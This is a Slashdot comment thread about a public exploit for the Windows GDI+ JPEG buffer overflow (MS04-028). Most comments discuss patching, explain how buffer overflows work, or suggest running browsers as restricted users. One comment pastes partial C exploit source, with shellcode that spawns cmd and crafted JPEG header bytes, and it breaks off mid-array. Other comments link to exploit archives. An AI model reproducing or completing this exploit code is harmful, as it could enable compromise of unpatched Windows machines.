Public Exploit For Windows JPEG Bug 509
Khoo writes "A sample program hit the Internet on Wednesday, showing by example how malicious coders could compromise Windows computers by using a flaw in the handling of a widespread graphics format by Microsoft's software. Security professionals expect the release of the program to herald a new round of attacks by viruses and Trojan horses incorporating the code to circumvent security on Windows computers that have not been updated. The flaw, in the way Microsoft's software processes JPEG graphics, could allow a program to take control of a victim's computer when the user opens a JPEG file." We mentioned this earlier.
Patch is Already Out (Score:5, Informative)
Code is always buggy. Even Firefox had a JPEG vulnerability of its own. This is dumb ownership, if this bug becomes prevalent.
Re:Spammers (Score:5, Informative)
HTML-formatted email + Outlook = Bad day for Grandma.
Single sign-on for a browser? (Score:0, Informative)
Patch is already out (Score:5, Informative)
Also, if you have SP2 or uh, don't use MS software, you're fine
Re:So what? Burn all JPEGs day? (Score:5, Informative)
Well, you could, but don't forget the recent bugs in libpng [slashdot.org]...
patch has been available for a while now (Score:5, Informative)
And it actually works fairly well. It scans for any program that reads these files and makes sure they don't have the bug in them. If it can't patch them, it bugs you about it so you can find a fix for the app. Only Microsoft apps of course, I don't think Adobe wants Microsoft pushing out software updates for them.
Most of the users I have to support aren't savvy enough to add a printer (omg, with active directory it's like 3 mouse clicks) or install software or apply updates (we use some banking software and it notifies you with a text box to click "OK" and then "File, Update" but I still get called on it every time). That's why at our offices we use Microsoft System Update Server (SUS). It lets us approve patches and then roll them out to all the clients in the domain automagically.
I shudder to think what would happen if I tried to roll out firefox or mozilla to everyone. I'd probably get calls that their "e" was missing and they couldn't connect to the internet. I swear, some people just shouldn't be on computers.
Re:Patch already out (Score:3, Informative)
Of course here, is this place --> here [microsoft.com]
I knew that preview button was good for something
Re:Can someone confirm... (Score:3, Informative)
Re:Single sign-on for a browser? (Score:4, Informative)
An example being that I log into my laptop on the corporate network in the morning, but then never need to log into our Intranet. It uses my Active Directory credentials to figure out who I am, so displays my own customised and personalised Intranet settings.
I'm not too sure how it works but it's very handy!
Re:Can someone confirm... (Score:4, Informative)
It is independent of all MS libraries. The recent JPEG vulnerability in Firefox is a separate issue. Firefox is OSS, and thus cannot use closed-source libraries such as the MS one in trouble.
Re:Can someone confirm... (Score:5, Informative)
Re:PNG too? (Score:5, Informative)
Windows JPEG: Windows JPEG Processing Buffer Overrun PoC Exploit (MS04-028) [k-otik.com]
Qt BMP: Qt 3.x bmp image parsing local buffer overflow Exploit [k-otik.com]
XV BMP XV v3.x bmp parsing local buffer overflow Exploit [k-otik.com]
GV Postscript: GV PostScript Viewer Remote Buffer overflow Exploit [k-otik.com]
LibPNG: LibPNG Graphics Library Remote Buffer Overflow Exploit [k-otik.com]
Re:Single sign-on for a browser? (Score:2, Informative)
-jsl
Re:Hard to patch (Score:2, Informative)
Re:Almost... (Score:5, Informative)
OL2003 has image loading off by default. "RightClick to display this image."
Of course, most people are on earlier versions, but at least MS is putting in an effort to stem the tide.
Re:Patch is Already Out (Score:5, Informative)
Actually, it's a buffer overflow. A buffer overflow means that there is some area of memory reserved for some data, and then there's more data written to it than fits in. This causes some other data to be overwritten; if that other data happens to be a return address (basically a number which tells the computer where to continue after finishing the current task), then you can get the computer to execute arbitrary code which is in memory - including the code you just conveniently placed into the memory as "image data".
I don't know details of the JPEG image format, but with a simple bitmap format, a buffer overflow might happen as follows:
The image contains the number of pixels, and the bytes per pixel. The program takes those numbers, multiplies them, and reserves that much memory to take the pixel values. Then it reads the rest of the file as image data into that memory.
Now, this simple program for this simple image format may be easily exploited: Just put more data into the image than the product of number of pixels and bytes per pixel. Then the program as written will not reserve enough memory for that data (because the values at the beginning don't tell the truth), and therefore the data will overwrite anything following the data.
Ok, the fix is easy: Don't read more data than you allocated memory for. The problem is that on one hand, there are C standard functions which make it easy to get that wrong, and second, there can be more subtle ways to produce the same result. For example, the multiplication could overflow, resulting in too little memory being allocated, while the given number of pixels is read in (under the believe that you have reserved enough memory for that).
And yes, buffer overflows happen in open source software as well as in Microsoft software.
Comment removed (Score:5, Informative)
Re:Patch is already out (Score:5, Informative)
Where is the downloadable link to the second proof of concept code?
Here's the link to the first POC:
http://www.gulftech.org/?node=downloads [gulftech.org]
The first POC just generates the buffer overflow crash. Interesting enough, on an unpatched system, just having the jpg on your desktop caused by explorer to crash - repeatedly. I am assuming as XP tried to generate the thumbnail. However, if viewed through a web page, I could view it fine.
I've been looking for the second POC code since yesterday. It supposedly opens a cmd prompt when the crafted jpg is viewed.
AC
Re:Single sign-on for a browser? (Score:2, Informative)
- about:config
- filter for ntlm
- enter comma separated list for network.automatic-ntlm-auth.trusted-uris
Voila!
-jsl
Comment removed (Score:3, Informative)
Re:Patch is already out (Score:5, Informative)
You can find it all there, including a C program that fires off a local cmd shell.
Only for use as a security lesson and ethical hacking.
Link (Score:2, Informative)
well, here is one link [securiteam.com].
AutoUpdate not good enuff (Score:5, Informative)
WindowsUpdate does install a "GDI+ Detection Tool", but I have run this tool on systems with unpatched Visual Studio, Outlook, and Office and it does not detect that the patches are missing. I looked at the strings in this tool, and it basically looks like it checks for MS Photo software.
Manually visiting "officeupdate.microsoft.com" and running those updates will probably cover the most common attack vectors (Outlook, Word), but how many people do this on a regular basis? My users are not admin-level (yet) so they can't use this update site.
Incidentally, every default configuration of IE/Word I have seen allows DOC files with jpegs to be opened in the browser window with no prompting. It will not be hard to get people to run the exploits, and there's plenty of ways for worms to automate themselves without users opening things.
I'm working on a script to detect and run the patches (there's about 17 of them for this bug) but it's going to be a while because of the pre-reqs for many of the patches, and the very specific revisions that must match the patch. "If Visio 2002 is installed, detect which Visio SP level is running. If it's SP0 or SP1, run Visio SP2, then reboot, and run GDI patch"...
Sorry if I'm spreading panic, but this bug sucks.
Re:Patch is already out (Score:4, Informative)
Re:Almost... (Score:5, Informative)
Tell your management to turn off the Netegrity/windows authentication and use Netegrity form authentiation over SSL. Also, there is no reason why your users cannot user Firefox/Mozilla since it has had cross-platform support for Windows authentication for a few versions now.
Re:Patch is Already Out (Score:5, Informative)
It isn't sloppy programming as much as the rules having changed. It used to be that you'd write an image decoder (or *any* program that reads an external file format), and you'd either (a) assume that the file structure is correct (because if it isn't, then it had to be created by a bad encodder), or (b) do some rudimentary checking to catch basic problems (such as a missing file id tag in the first bytes). And the worst that could usually happen was that your decoder would crash or become unstable. Really, this is how things have been, how coders have worked. Remember, it applies to every single type of external data read into a program: serialized data saved by library classes in C++, Python, etc., bytecode files read by a virtual machine or other interpreter, help file indices, intermediate object files...everything.
Moreso, just because you don't have buffer overruns doesn't mean you're in the clear. You have to check for tremendous files, too. What if someone passes you an image file that's correct and compressed, but decompresses into a 100,000 by 100,000 32-bit image? Even if you had the memory to decode a large file, the resources it takes up makes it essentiallly a denial of service attack.
These are tough issues.
Re:Patch is Already Out (Score:3, Informative)
Anyway it's not that easy - forgetting to check for buffer size is an easy mistake to make, even though it is an extremely bad one to make. Most of the time it's not even evident looking at the code specifically looking for buffer overflow possibilities.
Re:Almost... (Score:5, Informative)
Before we get too smug, the article (anyone read those?) did mention an (albeit unrelated) vulnerability in Moz amongst others (PNG support) from August. Reproduced below.
To avoid getting the flameproofs on, I should point out that Firefox is my browser of choice. But let's avoid the whole stones and greenhouses scenario, yeh?
update Six vulnerabilities in an open-source image format could allow intruders to compromise computers running Linux and may allow attacks against Windows PCs as well as Macs running OS X.
The security issues appear in a library supporting the portable network graphics (PNG) format, used widely by programs such as the Mozilla and Opera browsers and various e-mail clients. The most critical issue, a memory problem known as a buffer overflow, could allow specially created PNG graphics to execute a malicious program when the application loads the image.
Among the programs that use libPNG and are likely to be affected by the flaws are the Mail application on Apple Computer's Mac OS X, the Opera and Internet Explorer browsers on Windows, and the Mozilla and Netscape browsers on Solaris, according to independent security researcher Chris Evans, who discovered the issues.
Re:Almost... (Score:3, Informative)
I've got just the right thing for you!
http://tmp.infosynaptics.com/spammail.wav [infosynaptics.com]
Re:Almost... (Score:5, Informative)
rundll32 advpack.dll,LaunchINFSection %systemRoot%\INF\msmsgs.inf,BLC.Remove
Re:hmm someone predicted this (Score:5, Informative)
It does (Score:3, Informative)
OSS browsers have similar probs (Score:4, Informative)
Meanwhile what you can do is to run each program as a different more restricted user.
On windows XP, run IE with using a shortcut with a runas with savecred (you should modify those in the start menu and quick launch too), and set it so it runs using a very restricted account. The restricted account should either have access to your bookmarks, history and temporary files, or you should run it so it changes to the restricted user's home directory and you allow your main account access to the restricted user's home directory.
Look up the runas command for the options. It'll be more convenient on WinXP since there's the savecred feature.
On UNIX, I think you can use sudo or something similar. Sudo to a restricted account and then run the browser.
This way, if your program gets exploited it can only ruin what the restricted user has access to, it can't easily touch the rest of the system.
Exploits can still theoretically touch the rest of the system since there's stuff like shatter attacks (for windows, not sure about KDE/GNOME), and I'm sure display drivers have bugs of their own and they run in ring 0 (on windows).
But if you do this it raises the bar significantly.
There are other options if you're really paranoid and don't mind the extra effort.
Re:Patch is Already Out (Score:3, Informative)
The difference is that it actually works in MacOS. Because MacOS is now Unix programs have a Unix context. You can see the context of your shell by running the "id" program (this is in cygwin, which is what I have handiest):
uid=11008(service) gid=10513(Domain Users) groups=0(root),545(Users),10513(Domain Users),11071(Matric),11040(Tech),11233(visio2000)
Unix programs spawned from a prior program always inherit the user context of the spawning process. On Windows, this is simply not true. I don't know if there's two ways to launch programs, with one causing the explorer to do it, but that seems like what's going on, because if I Run As... an installer (shift-right click will show it in the context menu) then maybe half the time it actually runs as the chosen user. Most of the time the second stage of the installer spawns with MY permissions, and I can't complete an install. Properly constructed installers, of course, will ask you if you want to elevate privileges when you run them, but I assume that's a relatively new option of installshield.
The short form is that "sudo" (or as microsoft has it, run as... from the menu or the runas command) is not a valid solution on Windows because it doesn't work. It would be nice, though.
Re:win2k (Score:3, Informative)
// Lameness filter doesn't like C code....
//aksdnckdnaslcjknasdcjknasdlcnjklasdncj klasdnckldnscjkldnaslcjkansdjklcnasljkcnaalksdjncl ajksdnclka
//asdjkcnhladksjcnklasdjcnklasdjnclajk sdncklasndlckjansdcjknalsdkclaksdjcnlajkdnclaknldj klaegfjkaehg
//12345kjbfjwerv7890werw14hbfwjfbkjk 2jksnksbhcjksbckjhbkdbakjbdkcjbskcjabkyuajwjbhawhj fgasdiouchacbk
//aduicyga897schjawegiuci7akcajhwb vekjhcaw78cyakdjachbdjkka7w6ieucbdihcbajksdhbciauy cguaddbiua76teui
//jkasdbcdbhsajkbhsdcabsdjkcbkad kcabscadcbasbdcabddsbcasdcbascdbcasbdcadcbdasbcasb cjhabscadjkasdbckj
//ZZZZZZZZZZZZZZZZZZZZZZZZZZZZ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
//ZZZZ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ ZZZZZZZZZZZZZZZZ
//ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
//jkasdb cdbhsajkbhsdcabsdjkcbkadkcabscadcbasbdcabddsbcasdc bascdbcasbdcadcbdasbcasbcjhabscadjkasdbckj
// GDI+ buffer overrun exploit by FoToZ
// NB: the headers here are only sample headers taken from a
// with the FF FE 00 01 inserted in header1.
// Sample shellcode is provided
// You can put approx. 2500 bytes of shellcode...who needs that much anyway
// Tested on an unpatched WinXP SP1
#include <direct.h>
#include <stdio.h>
char shellcode[]=
"\x68"
"cmd "
"\x8B\xC4"
"\x50"
"\xB8\x44\x80\xC2\x77"
"\xFF\xD0"
;
char header1[]=
"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\ x46\x00\x01\x02\x00\x00\x64"
"\x00\x64\x00\x00\xF F\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00"
"\ x04\x00\x00\x00\x0A\x00\x00\xFF\xEE\x00\x0E\x41\x6 4\x6F\x62\x65"
"\x00\x64\xC0\x00\x00\x00\x01\xFF\ xFE\x00\x01\x00\x14\x10\x10\x19"
"\x12\x19\x27\x1 7\x17\x27\x32\xEB\x0F\x26\x32\xDC\xB1\xE7\x70\x26"
"\x2E\x3E\x35\x35\x35\x35\x35\x3E";
char setNOPs1[]=
"\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
" \x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\x D9\x75\xF8";
char setNOPs2[]=
"\x3E\xE8\x00\x00\x00\x00\x5B\x8D\x8B "
"\x2F\x00\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x 3B\xD9\x75\xF8";
char header2[]=
"\x44"
"\x44\x44\x44\x44\x44\x44\x44\ x44\x44\x44\x44\x44\x01\x15\x19\x19"
"\x20\x1C\x2 0\x26\x18\x18\x26\x36\x26\x20\x26\x36\x44\x36\x2B\ x2B"
"\x36\x44\x44\x44\x42\x35\x42\x44\x44\x44\x4 4\x44\x44\x44\x44\x44"
"\x44\x44\x44\x44\x44\x44\ x44\x44\x44\x44\x44\x44\x44\x44\x44\x44"
"\x44\x4 4\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\xFF\ xC0\x00"
"\x11\x08\x03\x59\x02\x2B\x03\x01\x22\x0 0\x02\x11\x01\x03\x11\x01"
"\xFF\xC4\x00\xA2\x00\ x00\x02\x03\x01\x01\x00\x00\x00\x00\x00\x00"
"\x0 0\x00\x00\x00\x00\x03\x04\x01\x02\x05\x00\x06\x01\ x01\x01\x01"
"\x01\x00\x00\x00\x00\x00\x00\x00\x0 0\x00\x00\x00\x00\x01\x00\x02"
"\x03\x10\x00\x02\ x01\x02\x04\x05\x02\x03\x06\x04\x05\x02\x06\x01"
"\x05\x01\x0
The concept isn't new (Score:3, Informative)
Occasionally even then, the front end of a virus was named whatever.com and was itself "clean" (so would be passed by most scanners), but its job was to call the REAL executable, named something like whatever.dat, which contained the virus code (and if you limited your scanner to known-executables, it would be missed). I have personally seen a virus carried in the whatever.dat part of some purported utility.
As to viruses in image files, it has always been theoretically possible to execute code placed in a GIF's comment field, and I vaguely recall there was a similar exploit possible for JPGs. The only reason this GIF exploit was never seen in the wild is because in the olden days, you couldn't count on everyone using the same viewing software; there were dozens of DOS image viewers, no two of which worked alike. NOW, a virus author can pretty much count on the majority of users using such files thru some combination of Windows, IE, and M$Office, so such formerly-obscure tricks become worth the bother. Much more so when M$ kindly offers malware authors a leg up like this.